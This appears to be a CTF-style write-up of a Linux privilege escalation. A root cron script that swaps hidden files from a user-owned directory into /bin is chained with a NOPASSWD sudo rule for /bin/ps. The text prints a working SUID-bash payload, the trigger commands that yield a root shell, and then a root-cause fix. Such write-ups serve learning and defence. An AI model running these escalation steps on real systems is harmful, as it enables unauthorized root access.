This is the kind of chain that only shows up when you actually read the script behind a cron job instead of just noting that it exists. A file-replacement utility running as root, paired with a narrowly scoped sudo rule, turned into a full root shell — but only because the two misconfigurations happened to line up perfectly.
The Setup
I had a shell as nicolas on a box called sea. As with any low-privilege foothold, I ran pspy64 to watch for scheduled or background processes running with elevated privileges. It surfaced a script running as root: bin_replacer.
sudo -l

User nicolas may run the following commands on sea:
(ALL) NOPASSWD: /bin/ps aux
Nicolas can run /bin/ps aux as root, no password required. On its own, ps aux isn’t dangerous — it’s a read-only process listing, and it isn’t even in GTFOBins as an escalation primitive under normal circumstances. That’s what made this one interesting: the danger wasn’t in ps itself, it was in what else on the system was allowed to touch the file at /bin/ps.
Enumeration — Reading bin_replacer
I pulled up the script pspy had flagged:
cat bin_replacer
#!/bin/bash
SRC_DIR="/home/nicolas/bin"
DEST_DIR="/bin"
for file in "$SRC_DIR"/.*; do
[[ "$file" == "$SRC_DIR/." || "$file" == "$SRC_DIR/.." ]] && continue
[ -f "$file" ] || continue
name=$(basename "$file")
clean="${name#.}"
if [[ -x "$DEST_DIR/$clean" ]]; then
echo "[*] Replacing $DEST_DIR/$clean with $file" >> /tmp/bin_replacer.log
mv -f "$file" "$DEST_DIR/$clean"
chmod +x "$DEST_DIR/$clean"
fi
done
Running as root (confirmed via pspy64 showing it execute on a schedule), this script loops over every hidden file in /home/nicolas/bin/ — a directory nicolas fully owns and can write to. For each hidden file, it strips the leading dot to get a “clean” filename, and if a binary with that clean name already exists and is executable in /bin/, it moves the hidden file over the top of it and marks it executable.
In other words: if I own a file /home/nicolas/bin/.ps, and /bin/ps already exists, root’s cron job will happily replace /bin/ps with my file — because .ps strips down to ps, and /bin/ps passes the -x check.
And I already had a NOPASSWD sudo rule that runs /bin/ps aux as root.
Exploitation
The plan wrote itself: put a payload at /home/nicolas/bin/.ps, let bin_replacer swap it into /bin/ps on its next run, then trigger execution via the sudo rule I already had.
cd /home/nicolas/bin
nano .ps
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +s /tmp/bash

Once bin_replacer ran on its schedule and moved .ps into /bin/ps, confirmed by cat /bin/ps now showing my payload instead of the real binary, I fired the sudo rule I’d had all along:
sudo /bin/ps aux
ls -la /tmp/bash
-rwsr-sr-x 1 root root 1446024 Mar 19 20:22 /tmp/bash
/tmp/bash -p
bash-5.2# id
uid=1001(nicolas) gid=1001(nicolas) euid=0(root) egid=0(root) groups=0(root),1001(nicolas)
euid=0. Root, by way of a process listing command.
Why This Works
This chain only works because of how the two misconfigurations interact:
bin_replacerruns as root and blindly trusts a user-writable directory. It never verifies that the hidden file it’s about to promote into/bin/actually contains what the original binary contained — it only checks that a same-named executable exists at the destination. That single check is trivial to satisfy, since/bin/psobviously exists on any Linux system.sudogrants nicolas NOPASSWD execution of/bin/ps auxspecifically. Normally, replacing/bin/pswouldn’t matter much on its own — nicolas doesn’t have general write access to/bin. But the sudo rule provides the trigger: once/bin/psis nicolas’s payload (thanks tobin_replacer), running the already-permittedsudo /bin/ps auxexecutes that payload as root, because sudo only checks the path it was told to allow — not whether the binary at that path is still the one that existed when the rule was written.
The payload itself is simple on purpose: copy /bin/bash to /tmp/bash and set the SUID bit. Since the copy happens while running as root (via the hijacked ps), the resulting /tmp/bash is root-owned and SUID. Running it with -p preserves the elevated effective UID that a SUID-root bash would otherwise drop, landing a stable root shell independent of the now-corrupted /bin/ps.
This is fundamentally a race-and-trust issue: bin_replacer was written to make binary “hot-swapping” convenient for whatever legitimate purpose it served, without ever validating what it was swapping in, and the sudo rule provided the exact hook needed to detonate the substitution as root on demand.
Root Cause
Two independent, individually low-severity design choices compounded into full root:
- A root-run automation script (
bin_replacer) treated the existence of a same-named executable at the destination as sufficient justification to replace it with content from a directory the low-privilege user fully controlled. - A sudo rule granted NOPASSWD execution of a binary whose path was directly reachable by that same replacement logic.
Fix: Never let an automated, root-run process move files sourced from a user-writable directory into system binary paths without an integrity check:
# Bad — trusts any file with the right stripped name
mv -f "$file" "$DEST_DIR/$clean"
# Better — verify ownership and checksum before ever touching a system binary
if [[ "$(stat -c %U "$file")" == "root" ]] && \
sha256sum -c "/etc/bin_replacer/${clean}.sha256" --status; then
mv -f "$file" "$DEST_DIR/$clean"
fi
Separately, avoid granting sudo access to any binary living in a path that could plausibly be modified by another automated process — the safety of a sudo rule depends on the binary at that path never changing unexpectedly.
Key Takeaways
- A read-only-looking sudo rule (
ps aux) is not automatically safe — its danger depends entirely on whether the binary at that path can be swapped out by anything else on the system - Automation scripts that move or replace files based on naming conventions alone (like stripping a leading dot) need to validate content or ownership, not just the destination filename
pspy64is invaluable for finding not just cron jobs directly exploitable on their own, but the scripts and utilities they invoke that create second-order attack surface- Chain sudo enumeration (
sudo -l) with filesystem-level cron/script analysis — the interesting escalation path is often in how the two interact, not in either alone
Questions? Hit me up on X.